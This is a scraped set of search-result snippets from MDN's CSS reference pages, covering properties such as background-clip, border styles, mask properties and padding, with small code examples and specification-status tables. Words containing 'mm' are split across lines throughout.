...543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status co
mment compositing and blending level 1the definition of 'background-blend-mode' in that specification.
... candidate reco
mmendation initial definition ...
background-clip - CSS: Cascading Style Sheets
it is reco
mmended that authors of html documents specify the canvas background for the <body> element rather than the html element.
...60deg, red, yellow, red, yellow, red); font: 900 1.2em sans-serif; text-decoration: underline; } .border-box { background-clip: border-box; } .padding-box { background-clip: padding-box; } .content-box { background-clip: content-box; } .text { background-clip: text; -webkit-background-clip: text; color: rgba(0,0,0,.2); } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'background-clip' in that specification.
... candidate reco
mmendation initial definition.
<basic-shape> - CSS: Cascading Style Sheets
if both shapes are of type path(), both paths strings have the same number and types of path data co
mmands in the same order, interpolate each path data co
mmand as real numbers.
...%, 0% 50%, 40% 40%); animation: 4s poly infinite alternate ease-in-out; margin: 10px auto; } @keyframes poly { from { clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%); } to { clip-path: polygon(50% 30%, 100% 0%, 70% 50%, 100% 100%, 50% 70%, 0% 100%, 30% 50%, 0% 0%); } } result specifications specification status co
mment css shapes module level 1the definition of '<basic-shape>' in that specification.
... candidate reco
mmendation initial definition.
<blend-mode> - CSS: Cascading Style Sheets
any change occurs i
mmediately.
...7350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center, linear-gradient(to bottom, blue, orange); } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); selectelem.addeventlistener('change', () => { divelem.style.backgroundblendmode = selectelem.value; }); result specifications specification status co
mment compositing and blending level 1the definition of '<blend-mode>' in that specification.
... candidate reco
mmendation initial definition.
border-bottom-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
... candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... reco
mmendation initial definition ...
border-bottom-style - CSS: Cascading Style Sheets
-bottom-style: none;} .b2 {border-bottom-style: hidden;} .b3 {border-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style: groove;} .b8 {border-bottom-style: ridge;} .b9 {border-bottom-style: inset;} .b10 {border-bottom-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-style' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation initial definition.
border-left-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
... candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... reco
mmendation initial definition ...
border-left-style - CSS: Cascading Style Sheets
asses */ .b1 {border-left-style: none;} .b2 {border-left-style: hidden;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-left-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left-style' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation initial definition.
border-right-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
... candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... reco
mmendation initial definition ...
border-right-style - CSS: Cascading Style Sheets
b1 {border-right-style: none;} .b2 {border-right-style: hidden;} .b3 {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 {border-right-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right-style' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation initial definition.
border-top-color - CSS: Cascading Style Sheets
note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
... candidate reco
mmendation no significant changes, though the transparent keyword, now included in <color> which has been extended, has been formally removed.
... reco
mmendation initial definition ...
border-top-style - CSS: Cascading Style Sheets
example classes */ .b1 {border-top-style: none;} .b2 {border-top-style: hidden;} .b3 {border-top-style: dotted;} .b4 {border-top-style: dashed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-top-style' in that specification.
... candidate reco
mmendation no significant change.
... reco
mmendation initial definition.
break-inside - CSS: Cascading Style Sheets
quisque co
mmodo eget nisi sed pretium.
...spacing: 2px; column-span: all; } h1 + p { margin-top: 0; } p { line-height: 1.5; break-after: column; } figure { break-inside: avoid; } img { max-width: 70%; display: block; margin: 0 auto; } figcaption { font-style: italic; font-size: 0.8rem; width: 70%; } article { column-width: 200px; gap: 20px; } result specifications specification status co
mment css fragmentation module level 3the definition of 'break-inside' in that specification.
... candidate reco
mmendation no change.
calc() - CSS: Cascading Style Sheets
the * and / operators do not require whitespace, but adding it for consistency is both allowed and reco
mmended.
... specifications specification status co
mment css values and units module level 3the definition of 'calc()' in that specification.
... candidate reco
mmendation initial definition ...
clear - CSS: Cascading Style Sheets
this paragraph clears both.</p> </div> css .wrapper{ border:1px solid black; padding:10px; } .both { border: 1px solid black; clear: both; } .black { float: left; margin: 0; background-color: black; color: #fff; width:20%; } .red { float: right; margin: 0; background-color: pink; width:20%; } p { width: 45%; } specifications specification status co
mment css logical properties and values level 1the definition of 'float and clear' in that specification.
... reco
mmendation no significant changes, though details are clarified.
... reco
mmendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
clip-path - CSS: Cascading Style Sheets
0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'clip-path' in that specification.
... candidate reco
mmendation extends its application to html elements.
... reco
mmendation initial definition (applies to svg elements only).
clip - CSS: Cascading Style Sheets
lityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to upper left"> <img id="middle" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped towards middle"> <img id="bottom-right" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to bottom right"> </p> result specifications specification status co
mment css masking module level 1the definition of 'clip' in that specification.
... candidate reco
mmendation deprecates clip property, suggests clip-path as replacement.
... reco
mmendation initial definition.
direction - CSS: Cascading Style Sheets
formal definition initial valueltrapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax ltr | rtl examples setting right-to-left direction blockquote { direction: rtl; } specifications specification status co
mment css writing modes module level 3the definition of 'direction' in that specification.
... proposed reco
mmendation no change.
... reco
mmendation initial definition.
<easing-function> - CSS: Cascading Style Sheets
keywords for co
mmon cubic-bezier easing functions ease the animation starts slowly, accelerates sharply, and then slows gradually towards the end.
... steps( n, <direction> ) steps(2, jump-start) steps(2, start) steps(4, jump-end) steps(4, end) steps(5, jump-none) steps(3, jump-both) steps-start the equivalent of steps(1, jump-start) steps-end the equivalent of steps(1, jump-end) step-start the animation jumps i
mmediately to its final state, where it stays until the end.
...*/ steps(-3, start) /* there must be at least one step.*/ steps(0, jump-none) specifications specification status co
mment css animationsthe definition of '<timing-function>' in that specification.
env() - CSS: Cascading Style Sheets
area-inset-bottom, 50px); /* 50px because ua properties are case sensitive */ padding: env(x, 50px 20px); /* as if padding: '50px 20px' were set because x is not a valid environment variable */ padding: env(x, 50px, 20px); /* ignored because '50px, 20px' is not a valid padding value and x is not a valid environment variable */ the syntax of the fallback, like that of custom properties, allows co
mmas.
... but, if the property value doesn't support co
mmas, the value is not valid.
... specifications specification status co
mment css environment variables module level 1the definition of 'env()' in that specification.
flex-wrap - CSS: Cascading Style Sheets
ss="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:nowrap </h4> <div class="content1"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:wrap-reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> css /* co
mmon styles */ .content, .content1, .content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; fle...
...x-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status co
mment css flexible box layout modulethe definition of 'flex-wrap' in that specification.
... candidate reco
mmendation ...
float - CSS: Cascading Style Sheets
specifications specification status co
mment css logical properties and values level 1the definition of 'float and clear' in that specification.
... reco
mmendation no change css level 1the definition of 'float' in that specification.
... reco
mmendation initial definition ...
font-feature-settings - CSS: Cascading Style Sheets
e glyphs */ .smallcaps { font-feature-settings: "smcp" on; } /* convert both upper and lowercase to small caps (affects punctuation also) */ .allsmallcaps { font-feature-settings: "c2sc", "smcp"; } /* use zeros with a slash through them to differentiate from "o" */ .nicezero { font-feature-settings: "zero"; } /* enable historical forms */ .hist { font-feature-settings: "hist"; } /* disable co
mmon ligatures, usually on by default */ .noligs { font-feature-settings: "liga" 0; } /* enable tabular (monospaced) figures */ td.tabular { font-feature-settings: "tnum"; } /* enable automatic fractions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh" 2; } /* enable stylistic set 7 */ .fancystyle { font-fami...
...ly: gabriola; /* available on windows 7, and on mac os */ font-feature-settings: "ss07"; } specifications specification status co
mment css fonts module level 3the definition of 'font-feature-settings' in that specification.
... candidate reco
mmendation initial definition ...
font-variation-settings - CSS: Cascading Style Sheets
registered axes are the most co
mmonly encountered — co
mmon enough that the authors of the specification felt they were worth standardizing.
...some will end up becoming more co
mmon, and may even become registered over time.
... specifications specification status co
mment css fonts module level 4the definition of 'font-variation-settings' in that specification.
<frequency-percentage> - CSS: Cascading Style Sheets
d percentage values 90% positive percentage +90% positive percentage with leading + -90% negative percentage — not valid for all properties that use percentages invalid percentage values 90 % no space is allowed between the number and the unit valid frequency values 12hz positive integer 4.3hz non-integer 14khz the unit is case-insensitive, though non-si capitalization is not reco
mmended.
... specifications specification status co
mment css values and units module level 4the definition of '<frequency-percentage>' in that specification.
... candidate reco
mmendation defines <frequency-percentage>.
<frequency> - CSS: Cascading Style Sheets
examples valid frequency values 12hz positive integer 4.3hz non-integer 14khz the unit is case-insensitive, though non-si capitalization is not reco
mmended.
... specifications specification status co
mment css values and units module level 3the definition of '<frequency>' in that specification.
... candidate reco
mmendation initial definition.
hanging-punctuation - CSS: Cascading Style Sheets
force-end a stop or co
mma at the end of a line hangs.
... allow-end a stop or co
mma at the end of a line hangs if it does not otherwise fit prior to justification.
...praesent laoreet tortor massa, sit amet vulputate nulla pharetra ut.”</p> css p { hanging-punctuation: first last; margin: .5rem; } result specifications specification status co
mment css text module level 3the definition of 'hanging-punctuation' in that specification.
height - CSS: Cascading Style Sheets
</div> </div> css div { width: 250px; margin-bottom: 5px; border: 2px solid blue; } #taller { height: 50px; } #shorter { height: 25px; } #parent { height: 100px; } #child { height: 50%; width: 75%; } result specifications specification status co
mment css box sizing module level 4the definition of 'height' in that specification.
... reco
mmendation adds support for the <length> values and precises on which element it applies to.
... reco
mmendation initial definition.
Inheritance - CSS: Cascading Style Sheets
only the root element of the document gets the initial value given in the property's su
mmary.
... non-inherited properties when no value for a non-inherited property has been specified on an element, the element gets the initial value of that property (as specified in the property's su
mmary).
... see also css values for controlling inheritance: inherit, initial, unset, and revert introducing the css cascade cascade and inheritance css key concepts: css syntax, at-rule, co
mments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values.
initial - CSS: Cascading Style Sheets
examples using initial to reset color for an element html <p> <span>this text is red.</span> <em>this text is in the initial color (typically black).</em> <span>this is red again.</span> </p> css p { color: red; } em { color: initial; } result specifications specification status co
mment css cascading and inheritance level 4the definition of 'initial' in that specification.
... candidate reco
mmendation no changes from level 3.
... candidate reco
mmendation initial definition.
linear-gradient() - CSS: Cascading Style Sheets
the ending point can be simply understood as the sy
mmetrical point of the starting point.
... specifications specification status co
mment css images module level 4the definition of 'gradient color-stops' in that specification.
... candidate reco
mmendation initial definition.
margin-bottom - CSS: Cascading Style Sheets
height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions for container and divs so margins' effects can be seen more clearly .container { background-color:orange; width:320px; border:1px solid black; } div { width:320px; background-color:gold; } result specifications specification status co
mment css basic box modelthe definition of 'margin-bottom' in that specification.
... reco
mmendation removes its effect on inline elements.
... reco
mmendation initial definition ...
margin-top - CSS: Cascading Style Sheets
he width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> | auto examples setting positive and negative top margins .content { margin-top: 5%; } .sidebox { margin-top: 10px; } .logo { margin-top: -5px; } #footer { margin-top: 1em; } specifications specification status co
mment css basic box modelthe definition of 'margin-top' in that specification.
... reco
mmendation removes its effect on inline elements.
... reco
mmendation initial definition ...
margin - CSS: Cascading Style Sheets
specifications specification status co
mment css basic box modelthe definition of 'margin' in that specification.
... reco
mmendation removes the effect of top and bottom margins on inline elements.
... reco
mmendation initial definition.
mask-clip - CSS: Cascading Style Sheets
lip; /* non-standard keyword values */ -webkit-mask-clip: border; -webkit-mask-clip: padding; -webkit-mask-clip: content; -webkit-mask-clip: text; /* multiple values */ mask-clip: padding-box, no-clip; mask-clip: view-box, fill-box, border-box; /* global values */ mask-clip: inherit; mask-clip: initial; mask-clip: unset; syntax one or more of the keyword values listed below, separated by co
mmas.
...tion value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-clip' in that specification.
... candidate reco
mmendation initial definition ...
mask-composite - CSS: Cascading Style Sheets
/* keyword values */ mask-composite: add; mask-composite: subtract; mask-composite: intersect; mask-composite: exclude; /* global values */ mask-composite: inherit; mask-composite: initial; mask-composite: unset; syntax one or more of the keyword values listed below, separated by co
mmas.
...e="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskcomposite = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-composite' in that specification.
... candidate reco
mmendation initial definition ...
mask-mode - CSS: Cascading Style Sheets
/* keyword values */ mask-mode: alpha; mask-mode: luminance; mask-mode: match-source; /* multiple values */ mask-mode: alpha, match-source; /* global values */ mask-mode: inherit; mask-mode: initial; mask-mode: unset; syntax the mask-mode property is specified as one or more of the keyword values listed below, separated by co
mmas.
...value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskmode = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-mode' in that specification.
... candidate reco
mmendation initial definition ...
mask-origin - CSS: Cascading Style Sheets
syntax one or more of the keyword values listed below, separated by co
mmas.
...ion value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-origin' in that specification.
... candidate reco
mmendation initial definition ...
mask-position - CSS: Cascading Style Sheets
ttom; mask-position: left; mask-position: right; mask-position: center; /* <position> values */ mask-position: 25% 75%; mask-position: 0px 0px; mask-position: 10% 8em; /* multiple values */ mask-position: top right; mask-position: 1rem 1rem, center; /* global values */ mask-position: inherit; mask-position: initial; mask-position: unset; syntax one or more <position> values, separated by co
mmas.
...">bottom left</option> <option value="10px 20px">10px 20px</option> <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-position' in that specification.
... candidate reco
mmendation initial definition ...
mask-size - CSS: Cascading Style Sheets
syntax one or more <bg-size> values, separated by co
mmas.
...ption value="200px 100px">200px 100px</option> <option value="cover">cover</option> <option value="contain">contain</option> </select> javascript var masksize = document.getelementbyid("masksize"); masksize.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.masksize = evt.target.value; }); result specifications specification status co
mment css masking module level 1the definition of 'mask-size' in that specification.
... candidate reco
mmendation initial definition ...
max() - CSS: Cascading Style Sheets
the max() css function lets you set the largest (most positive) value from a list of co
mma-separated expressions as the value of a css property value.
... syntax the max() function takes one or more co
mma-separated expressions as its parameter, with the largest (most positive) expression value used as the value of the property to which it is assigned.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 specifications specification status co
mment css values and units module level 4the definition of 'max()' in that specification.
min-width - CSS: Cascading Style Sheets
ercentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting minimum element width table { min-width: 75%; } form { min-width: 0; } specifications specification status co
mment css box sizing module level 4the definition of 'min-width' in that specification.
... candidate reco
mmendation adds the auto keyword and uses it as the initial value.
... reco
mmendation initial definition.
min() - CSS: Cascading Style Sheets
the min() css function lets you set the smallest (most negative) value from a list of co
mma-separated expressions as the value of a css property value.
... syntax the min() function takes one or more co
mma-separated expressions as its parameter, with the smallest (most negative) expression value result used as the value.
... <form> <label>type something:</label> <input type="text"> </form> specifications specification status co
mment css values and units module level 4the definition of 'min()' in that specification.
orphans - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status co
mment css fragmentation module level 3the definition of 'orphans' in that specification.
... candidate reco
mmendation extends orphans to apply to any type of fragment, including pages, regions, or columns.
... reco
mmendation initial definition.
outline-style - CSS: Cascading Style Sheets
{ outline-width: 10px; padding: 15px; } result setting outline style to inset and outset html <div> <div class="inset"> <p class="outset">outline demo</p> </div> </div> css .inset { outline-style: inset; } .outset { outline-style: outset; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline-style' in that specification.
... reco
mmendation added auto value.
... reco
mmendation initial definition.
outline-width - CSS: Cascading Style Sheets
>1ex</span> <span id="em">1.2em</span> css span { outline-style: solid; display: inline-block; margin: 20px; } #thin { outline-width: thin; } #medium { outline-width: medium; } #thick { outline-width: thick; } #twopixels { outline-width: 2px; } #oneex { outline-width: 1ex; } #em { outline-width: 1.2em; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline-width' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
outline - CSS: Cascading Style Sheets
-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px; background: #ffa; } result specifications specification status co
mment css basic user interface module level 3the definition of 'outline' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
padding-bottom - CSS: Cascading Style Sheets
tter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting padding bottom with pixels and percentages .content { padding-bottom: 5%; } .sidebox { padding-bottom: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-bottom' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
padding-left - CSS: Cascading Style Sheets
st-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting left padding using pixels and percentages .content { padding-left: 5%; } .sidebox { padding-left: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-left' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
padding-right - CSS: Cascading Style Sheets
letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting right padding using pixels and percentages .content { padding-right: 5%; } .sidebox { padding-right: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-right' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
padding-top - CSS: Cascading Style Sheets
first-letter and ::first-line.inheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute lengthanimation typea length formal syntax <length> | <percentage> examples setting top padding using pixels and percentages .content { padding-top: 5%; } .sidebox { padding-top: 10px; } specifications specification status co
mment css basic box modelthe definition of 'padding-top' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
padding - CSS: Cascading Style Sheets
/* left and right: 3% padding */ /* bottom: 20px padding */ padding: 1em 3px 30px 5px; /* top: 1em padding */ /* right: 3px padding */ /* bottom: 30px padding */ /* left: 5px padding */ specifications specification status co
mment css basic box modelthe definition of 'padding' in that specification.
... reco
mmendation no change.
... reco
mmendation initial definition.
perspective-origin - CSS: Cascading Style Sheets
ass="cube poml"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: 50% 50%;</code></figcaption> <div class="container"> <div class="cube po
mm"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <figcaption><code>perspective-origin: right;</code></figcaption> <div class="container"> <div class="cube pomr"> <div ...
...s="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> </section> css /* perspective-origin values (unique per example) */ .potl { perspective-origin: top left; } .potm { perspective-origin: top; } .potr { perspective-origin: top right; } .poml { perspective-origin: left; } .po
mm { perspective-origin: 50% 50%; } .pomr { perspective-origin: right; } .pobl { perspective-origin: bottom left; } .pobm { perspective-origin: bottom; } .pobr { perspective-origin: bottom right; } .po200200neg { perspective-origin: -200% -200%; } .po200200pos { perspective-origin: 200% 200%; } .po200200 { perspective-origin: 200% -200%; } /* define the container div, the cube div, ...
...orm: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section { background-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result specifications specification status co
mment css transforms level 2the definition of 'perspective-origin' in that specification.
pointer-events - CSS: Cascading Style Sheets
html <ul> <li><a href="https://developer.mozilla.org">mdn</a></li> <li><a href="http://example.com">example.com</a></li> </ul> css a[href="http://example.com"] { pointer-events: none; } result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointer-events' in that specification.
... reco
mmendation initial definition its extension to html elements, though present in early drafts of css basic user interface module level 3, has been pushed to its level 4.
<resolution> - CSS: Cascading Style Sheets
specifications specification status co
mment css values and units module level 4the definition of '<resolution>' in that specification.
... candidate reco
mmendation adds the dppx unit.
... reco
mmendation initial definition.
shape-image-threshold - CSS: Cascading Style Sheets
vel at co
mmodi voluptates enim, distinctio officia.
... result specifications specification status co
mment css shapes module level 1the definition of 'shape-image-threshold' in that specification.
... candidate reco
mmendation initial definition ...
shape-margin - CSS: Cascading Style Sheets
syntax /* <length> values */ shape-margin: 10px; shape-margin: 20
mm; /* <percentage> value */ shape-margin: 60%; /* global values */ shape-margin: inherit; shape-margin: initial; shape-margin: unset; values <length-percentage> sets the margin of the shape to a <length> value or to a <percentage> of the width of the element's containing block.
... inhabitant of mars, if he exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px; background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status co
mment css shapes module level 1the definition of 'shape-margin' in that specification.
... candidate reco
mmendation initial definition ...
text-align - CSS: Cascading Style Sheets
ss .example { text-align: justify; border: solid; } result notes the standard-compatible way to center a block itself without centering its inline content is setting the left and right margin to auto, e.g.: .something { margin: auto; } .something { margin: 0 auto; } .something { margin-left: auto; margin-right: auto; } specifications specification status co
mment css logical properties and values level 1the definition of 'text-align' in that specification.
... reco
mmendation no changes css level 1the definition of 'text-align' in that specification.
... reco
mmendation initial definition ...
text-combine-upright - CSS: Cascading Style Sheets
html <p lang="zh-hant">民國<span class="num">105</span >年<span class="num">4</span >月<span class="num">29</span>日</p> css html { writing-mode: vertical-rl; font: 24px serif } .num { text-combine-upright: all } results screenshotlive sample specifications specification status co
mment css writing modes level 4the definition of 'text-combine-upright' in that specification.
... candidate reco
mmendation add digits value css writing modes module level 3the definition of 'text-combine-upright' in that specification.
... proposed reco
mmendation initial definition ...
text-emphasis-position - CSS: Cascading Style Sheets
the informative table below su
mmarizes the preferred emphasis mark positions for chinese, mongolian and japanese: preferred emphasis mark and ruby position language preferred position illustration horizontal vertical japanese over right korean mongolian chinese under right note: the text-emphasis-position cannot be set, and there...
...in html, this can be done with the following pattern: em { text-emphasis: dot; /* set text-emphasis for <em> elements */ } em rt { display: none; /* hide ruby inside <em> elements */ } specifications specification status co
mment css text decoration module level 3the definition of 'text-emphasis' in that specification.
... candidate reco
mmendation initial definition ...
text-rendering - CSS: Cascading Style Sheets
html <p class="speed">lyowat - ff fi fl ffl</p> <p class="legibility">lyowat - ff fi fl ffl</p> css p { font: 1.5em "constantia", "times new roman", "georgia", "palatino", serif } .speed { text-rendering: optimizespeed; } .legibility { text-rendering: optimizelegibility; } result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
... reco
mmendation initial definition ...
text-transform - CSS: Cascading Style Sheets
full-size-kana <p>ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ</p> <p>ァィゥェ ォヵㇰヶ ㇱㇲッㇳ ㇴㇵㇶㇷ ㇸㇹㇺャ ュョㇻㇼ ㇽㇾㇿヮ</p> </p> p:nth-of-type(2) { text-transform: full-size-kana; } specifications specification status co
mment css text module level 3the definition of 'text-transform' in that specification.
... reco
mmendation from css level 1the definition of 'text-transform' in that specification., extends letters to non-latin bi-cameral scripts css level 1the definition of 'text-transform' in that specification.
... reco
mmendation initial definition ...
<time-percentage> - CSS: Cascading Style Sheets
ages 50% +50% optional plus sign -50% negative percentages are not valid for all properties that accept percentages invalid percentages 50 % space not allowed between the space and the percentage sign valid times 12s positive integer -456ms negative integer 4.3ms non-integer 14ms the unit is case-insensitive, although capital letters are not reco
mmended.
... specifications specification status co
mment css values and units module level 4the definition of '<time-percentage>' in that specification.
... candidate reco
mmendation defines <time-percentage>.
touch-action - CSS: Cascading Style Sheets
g wcag 2.0 formal definition initial valueautoapplies toall elements except: non-replaced inline elements, table rows, row groups, table columns, and column groupsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | none | [ [ pan-x | pan-left | pan-right ] | [ pan-y | pan-up | pan-down ] | pinch-zoom ] | manipulation examples disabling all gestures the most co
mmon usage is to disable all gestures on an element (and its non-scrollable descendants) that provides its own dragging and zooming behavior – such as a map or game surface.
... html <div id="map"></div> css #map { height: 400px; width: 400px; background: blue; touch-action: none; } result specifications specification status co
mment compatibility standardthe definition of 'touch-action' in that specification.
... reco
mmendation latest reco
mmendation.
<transform-function> - CSS: Cascading Style Sheets
the most co
mmon is the cartesian coordinate system, although homogeneous coordinates are also sometimes used.
...thus, each coordinate changes based on the values in the matrix: ac bd xy = ax+cy bx+dy it is even possible to apply several transformations in a row: a1 c1 b1 d1 a2 c2 b2 d2 = a1 a2 + c1 b2 a1 c2 + c1 d2 b1 a2 + d1 b2 b1 c2 + d1 d2 with this notation, it is possible to describe, and therefore compose, most co
mmon transformations: rotations, scaling, or skewing.
